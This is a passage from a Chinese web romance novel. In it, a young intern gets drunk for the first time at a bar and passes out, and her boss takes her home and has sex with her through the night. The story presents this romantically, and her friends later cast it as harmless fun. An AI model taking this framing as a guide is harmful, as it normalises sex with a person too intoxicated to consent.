姜昊离开后,她又把他的微信置了顶。只是【耗子】那老爷车的头像旁边,再没有红过,朋友圈也干净的仿佛这只是个不知何时信手加上的陌生人。
肖瑜的眼眶有点热,咬了下唇看向电脑,想要把思绪拉回来,却因为手机忽然的震动,睁大眼睛连忙又看了过去。
是陈楚:【下周三情人节,晚上我得陪女朋友,中午我带着红玫瑰和超大号佩奇玩具娃娃过去找你怎么样?够不够轰动?需要再租个豪车不?】
肖瑜一下就笑了出来,【不要那么隆重,你过来就好了。红玫瑰可以有,花钱我报销。】
【看你说的,买个花的钱我还掏不起吗?你以前给我们几个买的小饼干,比花都贵。那就下周三见哈,你也打扮得漂亮点,我们拍照发朋友圈官宣啊。哈哈。】
【我可不敢,怕你女朋友提刀来砍我。下周见。】
放下手机,肖瑜轻轻舒了口气,慢吞吞收拾了桌面,拿起挎包下了班。
元宵节前,周小林和陈楚就跟她联系过,寻常的问候,却又有点不怎么寻常。
之前住校的时候,因为姜昊,肖瑜跟他俩也很熟,甚至跟他俩的女朋友见面也都能聊上几句。可除了相互间加过微信,偶尔因为找不到姜昊发信息问他俩,其实联系并不算频繁。
可今年放假回来,许是这些人之间最紧密的一环,姜昊,离开了。他俩反而会隔几天就过问一下自己,是不是还好,有没有需要帮忙的地方。颇有一种姜昊离开后,会代替他以邻居身份照顾她似的。
肖瑜也曾问过陈楚和周小林,姜昊现在好吗,有没有跟他们联系过。可他们的回答,都是一致的,没有。
他仿佛彻底从她的世界消失,连想要从旁人那里知道他好不好,都再无可能。
*
到家跟父母又视频聊了下天,报过平安。肖瑜没有胃口吃晚饭,甚至没有心情写文,一个人坐在阳台上抱住佩奇抱枕,默默望着窗外满城车水马龙和灯光闪耀,心里空荡荡的。
电话里,妈妈跟她提起一个人,是认识的一个阿姨家海外留学归来的儿子。她说前几天聚餐时见过那男孩一面,跟姜昊一样帅,性格却是温文尔雅的,很绅士,找个周末想让肖瑜见一见。
肖瑜笑着应了句好,可放下电话那一刻,满心的迷茫再次将她笼罩,雾腾腾不知道自己的未来会是什么样子。
她明白妈妈的意思,从来也知道自己在校园生活结束后,面对的将会是一眼看得到终点的婚姻。只是那时,因为那个人可能是姜昊,所以她从来都是满怀渴望地憧憬着,甚至恨不得那天能早点到来。然而如今想起未来,她不仅毫无期待,甚至因为那一天越来越近,居然开始感到有些恐惧。
手机震了一下。
肖瑜看到陌生人的好友请求,这才看到顾菲刚才也发了微信给她。
【我哥今晚在老宅,没空管你。我让明哥接你出去找灵感。加他。】
*
顾家老宅里用过晚餐,顾程和父亲顾连峰聊了会集团和公司的事情,顾夫人程岚待二人停下,适时截过话头,笑吟吟看向儿子,“明天有事吗?”
“本来打算约爸去钓鱼。”顾程笑了笑,有些无奈地看向母亲,“要我去见人?”
“今年见到舒曼,我看她还是不太像想定下来的样子。”提起儿子的感情,顾夫人也是无奈,看了眼无所谓的丈夫,“儿子,妈不想催你,可有时候看着我那些闺蜜都有孙子孙女逗弄,妈还是会嫉妒的。”
“约明天中午吧。”顾程也不推挡,低头看了眼表,笑道,“您又跟舒曼说什么了?妈,我们如今真的只是朋友,以后再见着,您不要话里话外再催她回来了。”
“你要是早点再交个女朋友,妈自然
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也不会再误会。”顾夫人压根不信他说的,放下筷子伸手捏了下自家老公的胳膊,“你不着急?看到别人家小孙子的时候,恨不得自己是人家的爷爷。别老跟儿子谈工作,说些没用的,钓鱼哪儿钓得到好媳妇。”
“那可不好说。”顾连峰淡淡笑了笑,意有所指地看了眼顾程,“你儿子打小是个有主意的,钓鱼说不定真能钓的上好媳妇。阿程,你不是晚上还要回去吗?早点回吧。”
“怎么你今晚还要回去吗?”一直靠沉默降低存在感的顾菲急了,放下筷子连忙道,“哥,你别回去。你晚上不是应该住家里陪爸妈吗?”
“我有事,自然就回去了。”顾程瞥她一眼,不由蹙了眉,“你又作什么妖?”
“我没啊……”顾菲又拿起筷子,跟着又赶紧放下,拿起手机起身道,“我肚子疼,哎哥,你稍等我一下,我还有事儿跟你说,你等我过来你再走。你别急,你一定等我啊!”
她慌里慌张往楼上跑,顾程越发沉了眉,只是当着父母的面,他到底没再多说什么,而是思忖着说道,“爸,妈,还有件事我想跟你们商量。我楼下现在住的那个实习生……”他说着,看向父亲,顾连峰点了下头,示意他继续。
于是顾程接著说道,“我观察了一段时间,她也是个家世不错的女孩子,跟菲菲玩得来,又特别乖。我想,如果你们放心的话,我就想想办法,说服她跟菲菲合住半年。这样两个人都在我眼前,方便看管,菲菲跟她住得久一点,离那些爱玩的人远一些,或许也能收收性子。”
“提起菲菲我就心口疼。”顾夫人摇着头,想起自家闺女闹出圈的壮举,到现在都气不打一处来,嗔道,“一天天就知道四处惹祸,都是你们给惯的。要我说,还是得让她去上班,不管你俩谁那儿,起码眼皮子底下蹦跶不起来。”
“你闺女,谁管得了?”顾连峰也十分无奈地摇了摇头,叹道,“也不是没让她去上过班,迟到早退谁也不甩,还闹得别人都没办法安心工作,完全就是一锅汤里的那颗……”
到底是自家闺女,他忍着没把话说完,抬眼去看顾程,“你想怎么办就怎么办吧,别的事我和你妈还能给点建议,菲菲的事你决定就行了,你比我俩管得还严些。”
“那是因为你们更心疼她。”父母二人如出一辙的无奈神色,让顾程忍不住低笑出声,他又低头看了眼表,疑惑地看向通往二楼的阶梯,起身说道,“我不等菲菲了。刚才的事,等会儿你们跟她提一下。如果知道有出去独居的机会,她这几天应该会比较老实。那个实习生那里,我先试试跟她商量一下。爸,妈,你们早点休息。”
*
肖瑜第一次深切感受到夜场的魅力。
刺激,热烈,解压,忘忧。
以前她只来过这种地方一次,是为了找姜昊,可也只是看他跳了不到十分钟的舞,连坐下的机会都没有。
她还记得姜昊热舞时的每一个动作,和他肆意释放热情时,灿烂如烈焰的笑容。可当他目光流转,不经意看到她时,神色变幻如同六月天,黑着脸直接把她揪出来送回了寝室,耳提面命再有下一次就不再理她。
想想曾经面对姜昊的自己,真是卑微得如同尘埃。他可以去联谊,可以去KTV,可以去酒吧,可以跟不同的女孩子笑闹。而她,连只是默默站在那里看他跳舞,都不被允许。偏她那时着了魔似的,将此曲解为他喜欢她的乖,甘之若饴。
“谁给你点的这个?!”
顾明跟几个朋友下场嗨了半天过来,看到肖瑜面前空了一半的杯子,诧异地问道,“你不是不喝酒吗?”
32. 第 32 章
第三十二章
“这是酒吗?我明明点的冰红茶。”肖瑜眯了眯眼,朝他甜甜地笑,“还挺好喝的。”
顾明甩甩头,抬手让身边几个坏笑着的男男女女自己去玩,坐她身边拿过那硕大的杯子,“这可不是茶,是最容易醉的鸡尾酒。你没喝过酒,第一次不能喝太多,一半就行了。”
“这是第二杯了呢。”肖瑜软绵绵趴在吧台上,支腮依旧望着他笑,“你去陪朋友,不用管我。”她抬手指指不远处的酒保,笑得憨憨的,“他说你交代过,没人会来招惹我。谢谢你。”
“第二杯?!”顾明有点惊,伸手在她眼前晃了晃,“看我手,晕不晕?”
肖瑜眨了眨眼睛,“你不晃就不晕。你晃,就晕。”
顾明搓了把脸,深吸一口气,也支腮趴在吧台上,有点无奈地看着她笑,“菲菲怎么会有你这么可爱的小姐妹。她让我带你来找写作灵感,怎么样,有了吗?”
“有一点。”肖瑜今晚笑得特别开心,眼睛像一对弯弯的月牙,“以前我都是通过看片和幻想来写的,但是真的身临其境后,完全是不一样的感觉。”
“你是做什么的?专职写小说吗?”顾明接过酒保递来的马提尼,抿一口,很有兴致地问道,“真的第一次来酒吧?”
“嗯……”肖瑜又眨了眨眼睛,手有点撑不住脑袋,干脆两手抱臂彻底把下巴搁在手背上,点头,“不是专职,是业余。但比本职做得好。”
“呵。”顾明正要再说话,身侧过来一个同样二十四五的年轻男人,勾着他的肩也坐了下来,笑道,“明少,前几天的御姐呢?哪儿又弄来这么个乖乖的小宝贝?”
“菲菲的朋友。”顾明拉下他的手,直接往一边推,“别打她主意。我的人。”
“啧。”那男人遗憾地耸了下肩,朝肖瑜递去一个暧昧的眼神,“哪天不打算跟明少了,记得来找邱哥我。”
“滚。”顾明照他屁股上踹一脚,转头又去看只是憨憨看着他笑的肖瑜,“别听他胡说。菲菲说,原本就打算介绍你给我做女朋友的。今晚你喝成这样也没办法继续玩了,怎么样,带你回家还是去酒店?”
肖瑜噗的就笑了,“你还真是直接。怪不得菲菲说,想要灵感找你就对了。你有很多女朋友吗?”
“我很专一的。”顾明看一眼她白白嫩嫩的脖颈,笑道,“分手了才有下一个。你这么乖,估计我们能长久一点。”
去接她之前,顾明并未料到顾菲的小姐妹,竟会是一个看起来又纯又欲的小乖乖。带她跟一群朋友来了酒吧,肖瑜坐在一边喝果汁,吃薯片,不参与他们各种嗨翻天的游戏,却也并不抵触,而是一直笑着看。乖乖的,又似乎很享受这份嬉闹。
况且她长得很漂亮,眼睛大大的,皮肤白白的,身材看起来也又软又好摸,完完全全长在了顾明的审美上。
不得不说,顾菲这次总算没白使唤他一回。
可肖瑜虽然还是笑着看他,软软的唇吐出来却是直接的拒绝,“我只找灵感。不约。”
“为什么?”顾明挑了下眉,起身指指自己的脸,“我还不够帅?”
肖瑜被他逗得笑个不停,使劲儿睁大开始迷糊的眼睛看着他,很认真地观察,“很帅,下部小说可以让你当男主。不过我有男朋友了,管得很严,我不敢。”
朦胧的酒意,让肖瑜信口胡诌时,越发地不受限。
可顾明听了,却低笑一声,浑不在意地说道,“管得严,就跟他分了。现在开始就做我女朋友,保证没人敢再管你。”
“呵。是吗?”
一声冷笑,自身侧传来。
顾明愣了一下,转过头来看到是顾程,一时觉得自己像在做梦。
“你本事不小。”顾程看一眼对着他缓缓眨眼轻笑的肖瑜,回过头来问顾明,“这恐怕是她人生第一顿酒。喝了多少?”
顾明干干地咽了下嗓子,也看看眼神越来越迷糊的肖瑜,扭头抹了把额头的细汗,“二哥,她是你……?二哥我冤枉,菲菲可没跟我说过她是你的人。而且酒是她自己点的,我可没逼她。”
“这笔账的确算在菲菲身上。”顾程朝不远处那群人看了看,问道,“你那些爱玩的朋友,今天都看清楚她的脸没有?”
“二哥……”顾明嗓音都颤了,“菲菲说让我带她来感受一下气氛,为写小说找灵感。我们都拿她当朋友看的,没人动歪心思。”
“你刚才没动?”顾程又看一眼彻底栽倒在桌上的肖瑜,阴了脸,“没看清楚的再叫过来看看。以后但凡在乱七八糟的场合看到她,第一时间联系我。记住了吗?”
“记住了,保证。”顾明就差立正敬礼了,小心地也看看突然间不省人事的肖瑜,嗫嚅着说道,“二哥,她……一杯半长岛,估计今晚是醒不过来了。”
*
看到顾程抱着肖瑜出来的时候,驾驶座里的顾菲连忙有眼色地下车,拉开后门。
顾程横她一眼,把肖瑜塞了进去。可他不过刚刚松手坐去一侧,腰间就缠来一双手,醉酒的小姑娘拿软绵绵的身子蹭着他,使劲儿往他怀里钻,似乎很不乐意他就这么把她丢去一边。
他喉结一滚,蹙了眉去拉她的手。可肖瑜越发圈紧了手臂往他怀里拱着,还委屈巴巴地嘟囔,“你别推我……我想抱抱你。”
顾菲正准备开车,突然听到肖瑜这娇滴滴软糯糯的呢喃,她忍不住看向后视镜,却被顾程盛满怒意的目光看得心里一惊,连忙收回视线,老老实实点了火。
手机也突然响起来,顾菲看一眼来电人,还在犹豫要不要接,顾程已冷声道,“接。”
顾菲没办法,熄了火,划了接听。
“顾菲!我他么是拆了你祖坟了还怎么着?!你这么玩我?我到底跟你有什么怨有什么仇!你居然把二哥的女人介绍给我玩?顾菲!你说话!你哥我一天天也是把你当宝疼的,我他么到底哪儿对不起你了!”
“你别乱说话!我哥在呢!”顾菲也急了,顶着脊梁后方那道冷飕飕的视线叫道,“我就是介绍小姐妹跟你去夜场找灵感的,可没让你玩她!而且咱俩祖坟是一家,你骂我也是骂你自己!怪就怪你刚才玩得太嗨不接电话!我现在要开车送我
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哥他们回去,有什么你等我闲了再说!”
顾菲一口气吼完就挂了电话,点火开车一刻也不敢再停。
*
一路只有二十分钟车程,可这二十分钟里,顾菲如坐针毡,听着后座不停闹出的声响,想看又不敢看,心里忐忑又八卦,备受煎熬。
“你别躲好不好……我想亲亲你……”
“你别躲嘛……我就亲一下,你乖乖的……”
“你真好闻……你别乱动,让我抱抱你……唔……你别躲,让我再亲一会儿……”
下了车,顾菲才敢低着头,拿眼角斜斜去瞄抱起肖瑜走向电梯的顾程。
那个姿势有点一言难尽,看得人脸红心跳。
肖瑜的双腿盘在她哥腰间,两只胳膊也紧紧勾着他的脖子,像只挂在他身上的考拉。偏她还跟小动物似的把头埋在他脖颈间,时不时发出几声啾啾的声响,不知道是在吸,还是在亲。
顾程的脸色很难看。
顾菲瞟了他一眼,立刻眼观鼻,不再乱看。
终于进了顶层的公寓,顾菲看一眼径直走向卧室的顾程,到底还是鼓起勇气喊了一声,“哥!你等等。”
顾程停下脚步,一边偏头去躲脖子上的啃咬,一边黑着脸说道,“有话明天再说。”
“哥,你这样算不算是趁人之危?”顾菲挡在他面前,咬了下唇,“我拿肖瑜当朋友,我不想她明天醒了恨我。”
“现在怕了?”顾程轻嗤一声,冷笑道,“你让顾明带她去酒吧的时候脑子里想的什么?顾菲,你看看肖瑜,再好好想想你自己。你想过有一天自己也可能是醉酒后被人捡尸的女孩子吗?你想过万一哪天醉成这样,被一群流浪汉捡走会有什么后果吗?顾菲,你给我等着,我今天先一次把她给治老实了。至于你,明天开始你就知道等着你的是什么!”
他话音一落,单手托起肖瑜,另一手拽开顾菲推开门,哐当一声把她锁在了卧室外。
顾菲原地握了握十指,热锅蚂蚁似的又在门边转了转,却到底也只能忐忑地看着那道深暗的木门,步履沉重地走向客厅的沙发。
以前顾程跟秦舒曼在一起的时候,她也陪过哥哥去接她。可不管舒曼姐喝得再醉,她哥都只是耐心地扶着她,托着腰挽着臂,到了家也是直接送了她去卧室休息就出来。从来没有像今天似的,怒冲冲一副恨不得生吃了肖瑜的劲儿。
顾菲一直知道,自己的哥哥不是那种会随随便便跟女人上/床的男人,也一直以为他在痴情地等着秦舒曼。可刚才肖瑜软叽叽对顾程又哄又缠又亲,听那声响,她哥好像并没有拒绝到底。他单了那么久,真要是受不住撩拨……听燕北北说,肖瑜还没那啥过,会不会被他给弄坏啊?
门铃响起,顾菲愣了一下,连忙走去看猫眼。
外卖小哥的身影在外边,她一脸不解正犹豫要不要开门,身后换了睡衣的顾程已经大步走来,直接打开门接过两大盒套套,继而凉凉瞥了她一眼,在她惊悚的目光中,一边拆盒子,一边回去卧室锁了门。
两大盒……一盒少说也得有十只吧!
33. 第 33 章
第三十三章
肖瑜做了个很长很长的春/梦,又暖,又甜。
梦里有个男人温温柔柔地跟她说话,跟她接吻,跟她拥抱,让她整个身体都变得暖洋洋的,不自禁就想爱抚着他结实的胸膛,攀附上他的身体,索要更多。
他的嘴唇吻起来很软很舒服,就是话有点多。每次她停下来歇一下,他就会想跟她说些什么,所以她只能一遍又一遍去堵他的嘴,亲得他说不出话,专心跟她接吻。
他的身体摸起来也很舒服,很好闻很干净的味道,肉肉有弹性又结实,不松弛不干硬,手感口感都出奇得好。
他的眉眼记不清楚,但绝对是帅的,因为她记得那感觉,看着他的时候她喜欢得不得了。
他还很害羞,亲亲要哄,抱抱要哄,摸摸也都要哄。
肖瑜又伸手摸了摸。
两手空空。
果然春梦一醒就什么都摸不到了。
她满心遗憾地睁开眼睛,迎面一堵绝对不可能出现在自己卧室的车模墙,惊得她登时直起身来,又因着薄被滑落露出自己光裸的身躯,尖叫着抓紧被角,缩腿靠去床头。
陌生的卧室,静悄悄,却满屋暧昧。
一侧床下的地板上,到处都是拆开来空空如也的套套包装,足足十几个的样子。满地揉成团的纸巾,更是无声控诉着昨夜的糜乱。
肖瑜不可置信地看着眼前的一切,好半天,才连忙掀开掩住身体的薄被。
一抹干涸的红,就在她刚才大腿所在的位置不远,她身上此刻更是连块遮羞的布条都没有。赤裸裸如雪的肌肤上,一朵朵记录了昨夜疯狂的草莓印,触目惊心。
肖瑜整个人都无法思考,呆呆的,连该先找件衣服裹身都忘了。
她以为的春梦,居然是真的。
那些甜甜的吻,那些温柔的拥抱和爱抚,还有那个害羞的男人,都是真的?
她知道昨晚自己喝了酒,人生中第一杯,以为是冰红茶的酒。她也记得顾明笑嘻嘻地说要带她回家,可她明明拒绝了。
所以,是顾明吗?还是别的什么人?就因为喝了一杯酒,她的初夜,就这么莫名其妙地没了?
*
过于震惊导致的木然中醒过神后,肖瑜惊慌失措地跳下床,把搭在沙发上的衣服套回身上,跟着弯腰把地上那些乱七八糟的东西捡起来,用大衣外套裹住,心惊胆战地轻轻拉开了房门。
宽敞的客厅,摆设和风格都有几分眼熟。
蹑手蹑脚四处找寻着出口,终于因为看到墙上的山水字画,肖瑜才吃惊地发现,这里好像是顾程的公寓。
所以……昨晚顾程不在,顾明居然把她带到了他的家里?难道刚才那是在顾程的卧室?!
这个认知,越发让肖瑜慌得都来不及为自己的初夜悲哀。她把大衣放去地毯,飞快地跑进顾程的卧室,掀开被子揭下染了红的床单,然后又把床单也用大衣裹好,这才低头快速离开公寓,从逃生楼梯步履慌张地回到了自己家里。
*
乐声悠扬的餐厅里,阳光正好。
一览壮阔湖景的窗边,顾程几次走神,终待手机铃声响起,他看一眼来电信息,朝对面正在说话的女人抱歉一笑,接起电话。
“顾先生,你床单怎么找不到的呀?”清洁阿姨吴侬腔的普通话传过来,满是疑惑,“洗衣房里我也看了,没有的呀。”
顾程‘嗯’了一声,问道,“家里有别人在吗?”
“没有的呀。”
“没事,换个新的就好。”
放下电话,他笑了笑,抬手为对面的女人添上果茶,“不好意思,你继续。”
“顾先生似乎有些心不在焉。”女人皙白的手指勾起杯耳,优雅地笑道,“其实如果您还不想定下来,完全不需要见我这一面。”
“沈小姐很坦诚,也很聪明。”见对方这么说,顾程也舒了口气,笑道,“其实都是为了让父母心安。不过多个朋友总是幸事,今天很高兴认识你。”
被称作沈小姐的女子又笑了笑,忽而有些狡黠地问道,“是因为你还在等舒曼吗?”
顾程果然抬了下眉,“你认识舒曼?”
“我们此前共事过一段时间,彼此很聊得来。”沈欣婷翘唇看着他,揶揄道,“其实之前总听她提起你,所以回国后我才专门让母亲安排了这次见面,就是想看看,你是不是真的那么痴情。啧,百闻不如一见。”
“她是我第一个女朋友,仅此而已。”顾程摇头笑了笑,起身伸出手,“大水冲了龙王庙,原来大家早有渊源。以后在泽城有需要我的地方,尽管开口。我还有事,先走一步。”
*
待顾程的身影彻底在视线中消失,沈欣婷拿起手机点开秦舒曼的微信,摇头低笑着发了段信息:【他身上已经有了别人的痕迹,今天相亲见面,脖子上挂着吻痕就过来了。我可不觉得他像你说得那么古板保守。】
*
肖瑜洗完澡,已经独自在阳台上坐了快三个小时,面前放的牛奶和曲奇,也早就杯空盘净。
她本想直接发微信给顾明,问问昨晚那人是不是他。可这种事情对她来说很重要,对顾明来说无非只是寻常的一夜情。况且喝醉了哄着别人要亲亲的人是她,这么直接去问,或许还会让别人觉得她是在秋后算账,有心纠缠。
可她又不甘心就这么稀里糊涂把自己给了人,却连那个人是谁都不知道。
她也想过让顾菲去问,可顾菲的初衷是好意,她不愿让她为自己的冲动和糊涂内疚。她还想过找燕北北商量,可连要怎么开口都不知道。
肖瑜的嗓子有点涩。
她许久没刻意去摸过脖颈上那只吊坠,此刻拿指尖抚着它,心里疼疼的。在眼眶里打转的泪,终于还是被她憋了回去,憋回到心里,努力想要压住不该翻涌的思念。
其实也没什么。真的没什么。
她失去的只是他不屑拥有的,她的第一次而已。终究那人不会是他,其实,真的没什么关紧。
*
顾菲此刻也郁闷得要死。
自己一向敬重的亲哥哥,不但趁人之危,把她刚结拜的小姐妹给睡了,一大早还跟没事人一样,该吃早餐吃早餐,该去健身房去健身房,完了还丢她一个人在家去面对宿醉未醒的肖瑜。他倒是收拾得干干净净,相亲去了!
顾菲第一次发现原来男人可以这么
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无耻。就算有亲哥滤镜,都无法让她原谅顾程这混蛋至极的行径。
她更觉完全无法面对可怜的肖瑜。
心里住了人的乖乖女,打小就不去夜店不喝酒,可昨晚就因为自己一个烂好心,直接就害她失了身。
关键之前她还觉着,顾程那么紧张肖瑜,兴许是真的有丁点儿喜欢她。可她离开前悄悄去卧室看肖瑜,入目满地都是空的套套包装袋!顾程把人给睡了十几遍,居然转头就去相亲,就算拿脚指头想,她也明白她哥心里这是压根就没把肖瑜当回事。
顾菲第一时间就去找顾明,怒冲冲质问他为什么要让肖瑜喝酒。顾明也是满肚子火,跟她狠狠吵了一架,骂她脑子里都是浆糊,连肖瑜是顾程的人都不知道,还敢随便让他带出来玩。
顾菲又打算去找燕北北,想跟她一起商量商量,要怎么劝慰肖瑜,怕她万一想不开。路上原本打算先买个包,作为给肖瑜赔罪的礼物,可所有卡片被冻结、清零的现实,直接让她明白了顾程昨晚的话到底什么意思。
这一次不止信用卡,会所、专卖店、购物中心,储值卡,餐厅卡,甚至连加油卡,但凡她曾经随便刷的卡,打电话过去一问,全部被冻结清空。也就是说花钱从不用想的她,如今除了钱包里那当零钱备用的几千现金,一无所有。
顾菲气得要抓狂,一个电话拨给圈内最要好的小姐妹,还没张口,对方就委婉地提醒她先去看顾程的朋友圈。
【以后再借钱、赊账给顾菲的,绝私交,不合作。】
顾程这次是真的动了气。
*
一整个周末,两个小姑娘都过得蔫了吧唧的。
周日下午五六点的时候,肖瑜终于饿得受不住,穿了睡衣踩了拖鞋,无精打采地坐电梯下楼,打算去餐厅点个海鲜粥。
到了一楼电梯门开,迎面看到同样苦着脸垮着肩的顾菲,肖瑜怔了怔,欲哭无泪地撇嘴喊了她一声,“菲菲……”
“对不起。”顾菲第一次意识到,自己贪玩的性子竟然会伤害到无辜的人,她也撇了嘴,眼眶都开始泛红,“肖瑜,对不起。”
*
两个小姑娘沉默地吃完了带回家的海鲜粥,坐在阳台上看着夜景,各怀心事。
许久之后,顾菲握住肖瑜的手,很认真地看着她说道,“我知道现在说什么都没用了。但以后我会保护你的,一定不会再让我哥欺负你。就算他一分钱都不再给我,我也会想办法护着你。”
“你哥是指……真的是顾明吗?”肖瑜咬了下唇,垂下眼眸,“我没怪你,是我自己……做错了事。我只是想知道那个人是谁,菲菲,我真的没怪你。”
“你……”顾菲诧异地看着她,瞪大了眼睛,“你断片了?你不记得了?”
“我记得一些,但记不清楚。”肖瑜有点尴尬地抱起双腿,缩在沙发里,喃喃道,“我……我记得是我主动……要去亲他的。可能是喝醉了,也可能以为是在做梦,所以心里的那些小恶魔被放出来了。不过,我知道他并没有强迫我,所以……我只怪我自己。”
“不是明哥。”顾菲深深吸了口气,缓缓呼出来,双手握住肖瑜闻言紧绷的双手,“是我哥,是顾程。”
34. 第 34 章
第三十四章
燕北北被紧急召唤过来的时候,因为肖瑜在电话里的哭腔,慌得脸都是白的。
而见了面听肖瑜颤着嘴唇把事情简单说完,燕北北惊愕地瞪大了眼睛,倒吸一口冷气,“你第一次,居然,就把顾总给睡了?”
“是我哥睡了肖瑜!”顾菲崩溃地握了握拳,抓住燕北北的胳膊狠狠晃,“是我哥干了禽兽不如的事。北北,你到底跟谁站一边?”
“姐妹,你要这么想。”燕北北深吸一口气,一手一个把两个小姐妹摁回沙发,转头问肖瑜,“反正姜昊你俩没戏了,对不对?”
肖瑜一听,脸色更是苍白得像张纸。
“所以你把顾总白嫖了,很亏吗?”燕北北轻嗤一声道,“顾总又帅又多金,你俩又没什么感情,相互不需要负责。比比我当时委身的那玩意儿,顾总不是甩他几座城?小鱼儿,这种事情原本就是双向的,你当自己是受害者,就会一直痛苦自责。可你要当自己是找乐子,那他就只是个玩物。”
一席话如醍醐灌顶,顾菲的眼睛瞬间就亮了,“北北,你简直是我辈楷模!我怎么就没这么想过。”
“可他是……”肖瑜经她这么一说,心里顿时也敞亮了不少,可还是觉得哪里不太对劲儿,嗫嚅道,“要是别的什么人,以后没什么相见的机会,倒是……倒是也就算了。可他是我上司,又是邻居,抬头不见低头见的。北北,我今天叫你过来,就是想跟你商量一下,我……我打算辞职回家,就算不能拿毕业证也认了。”
“你回去要怎么跟父母交代?你想让他们因为这个担心你吗?”燕北北拍了拍她的手,安慰道,“你又不是不婚族,总有一天要结婚,要有这一天的,只是早晚的问题。小鱼儿,你就说你感觉怎么样吧。”
顾菲思路被打开,完全没了方才那股子要死不活的难受劲儿,闻言眼眸晶亮地看向肖瑜,怂恿道,“肖瑜,说说啊,我哥睡起来什么感觉?单了那么久,一晚上用了十几个,我都怕他把你玩坏了。”
“……”肖瑜被她们俩说得脸都红得要滴血,捂着脸嗫嚅道,“我……我不知道怎么说,我以为自己是做了场春梦,不想醒……”
“我的天啊!”燕北北羡慕死了,咂舌道,“就这你还郁闷个什么劲儿?说明顾总经验足,活儿好啊!女孩子的第一次,没有几个不是疼得撕心裂肺的。可你看看你,玩了一夜还不想醒。肖瑜,我要是你,逮着机会还要玩他。”
“你就口嗨行。”肖瑜抱着头缩成一团,心里五味陈杂,“你喜欢你去,我都不知道以后看到他该是什么表情。”
“哈哈,你哄着我哥要亲亲的时候,可不是这副德性。”顾菲绘声绘色把前天晚上的所见所闻描述一遍,肖瑜羞得拿脚指头勾她腿,可她躲开了还在继续讲,连燕北北都听得乐不可支,揉着肖瑜的头埋汰道,“第一次喝酒就这么放得开,早知道以前早点喝,说不定早把姜昊拿下了。”
“姜昊不一样的。”肖瑜闷闷地摇了摇头,小声道,“他只会推开我……”
“不过你千万不能因为我哥那方面厉害,就真的爱上他了。”顾菲叹了口气,搂住肖瑜靠在她肩头曼声道,“不管怎么说,趁人之危就是不对。而且他昨天中午还去跟人相亲了,他是我哥我也不能惯着他。”
“我不会爱上他的。”肖瑜又摇了摇头,跟两个女孩子脑袋挨着脑袋,很后悔地说道,“我也不要再喝酒,再去夜店了。我真的不能放纵自己一点,每次稍微一出格,就会出事。”
“我以后也不敢在外边烂醉了。”顾菲想起当晚顾程气极的怒色,也是有点后怕,“没想到我哥那么传统的男人,捡了喝醉的女孩子也会变成色中饿鬼。你幸运,起码他不是个变态。”她说着,一脸嫌恶地问燕北北,“北北,你刚说的也不全对。万一对方是个满身脓包的变态,又丑又脏,你还能当这是找乐子吗?”
燕北北被她说得直泛恶心,横她一眼,朝肖瑜那边看了下,嗔道,“这不是安慰小鱼儿呢吗?再说了,她都说了以后长记性不会再干这事儿了,你是不是傻?”
顾菲受了她这顿埋汰,点着头叹气道,“也是。肖瑜,你别难过了,我哥起码又帅又有钱,朋友多,又有名望,也不是谁都有机会能睡他一回的。现在最可怜的其实是我,他断了我的财,还把我弄得过街老鼠一样,没有一个人敢借钱给我。昨晚回家,连我爸妈都黑着脸,一分钱不拿给我。我待会儿还得去求他,想想就郁闷。”
“你是怎么惹着他了?”燕北北好奇地问道,“你也喝多了?”
“我这不是让明哥把肖瑜带出去玩,结果她喝醉了不停勾.搭我哥,让我哥把气也撒到我头上了吗?”顾菲愁得不行,一番好心,里外不是人。她起身走到阳台一角往楼上看了看,又郁闷地坐回了沙发,“也不知道他回来了没,以前吵了我至少晚上还会问问我的安全,给我个台阶去服软。这次可好,两天了,到现在都没联系过我,也不知道是被相亲对象勾住了,还是真不打算管我了。”
“你打给他啊。”燕北北推推她,好笑地说道,“是你求他,又不是他求你。你先打,顾总说不定就等着你的电话,好给你台阶下呢。”
顾菲深深吸了口气,忐忑地拨出了顾程的号码。
肖瑜原本还埋头抱着腿当鹌鹑,一听到顾菲要跟顾程打电话,立马起身就要回屋。
“哎小鱼儿你慌什么?”燕北北一把扯住她,哈哈笑道,“你别走啊。就是睡了他一回,连声音都听不得了?”
顾程摁下接听键的时候,率先听到的就是这么一句画风诡异的调侃,继而是顾菲语速飞快的小声提醒,“你俩别说话别说话,通了。”
他抬手拿毛巾擦了下脖子,灌口水,“说。”
“哥……”顾菲带着笑,讨好地问,“你吃晚饭了吗?”
“吃了。”
“你……在家?”
“不在。”
“那你……”简短至极的回答,分明就没打算给她台阶下,顾菲郁闷地叹了口气,“你什么时候回家?”
“有事?”
别说顾菲,连肖瑜和燕北北听到顾程那一句话两个字的调调,都下意识绷紧了神经。
“哥……我知道错了,我以后再也不到处乱跑了,也不宿醉晚归了。”顾菲无奈地苦着脸,好声好气地求,“你原谅我好吗?”
“行。”
顾菲闻言瞬间亮了眼,可不待她再说话,顾程便道,“还有事吗?没事挂了。”
“不是,哥!”顾菲急了,连忙说重点,“哥,你都原谅我了,是不是可以把我的卡解冻了?哥,我……我兜里就两千块钱了,活不了两天的。”
“顾菲,原谅你,不代表相信你。”顾程语调凉凉,很是不耐,“半年观察期,每天五百生活费。你能活就活,活不了直接跟爸妈说一声,嫁了人去你夫家活。”
“半年!”顾菲尖叫一声,噌一下跳起来,脸都急红了,“哥,你别冲动。一天五百,你不如让我去要饭!哥……我明明什么也没干,我就是把肖瑜介绍给明哥一起去玩,我……”
顾程已经挂了电话。
顾菲喘着粗气坐回沙发,一脸的悲痛欲绝。
燕北北看看她,叹息道,“一天五百你还嫌少?我交完房租,一天的生活费才一百不到。”
“我哥这次就是迁怒,我明明什么也没做。”顾菲撇着嘴
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,委屈得不行,“还有那些见风使舵的,平时一起玩的时候哪个不是前后捧着我?现在我哥发了话,不让他们帮我,一个个躲我跟躲瘟神似的。”
她想起今天打出去的几个电话,忍不住红了眼眶,“我一直以为我顾菲豪爽又义气,那些朋友都是冲着我结交的。可现在才知道,没了我家里的背景,我连个屁都不是。”
“你很缺钱吗?”肖瑜同情地看了看顾菲,开口道,“我可以借点给你先用。”
“真的吗?”顾菲感动地看向她,眼眶更红了,“你不怕我哥给你穿小鞋,跟你绝交吗?”
肖瑜现在真的听不得那个名字跟自己有交集,脸颊登时就红得火烧一样,低着眼眸应道,“绝交最好,本来也没交……没交情。”
顾菲只觉得胸中激情涌动,握住肖瑜的手,感激地说道,“那你先借我五十万,半年后我一定还。”
“五十万啊……”肖瑜犹豫了一下。
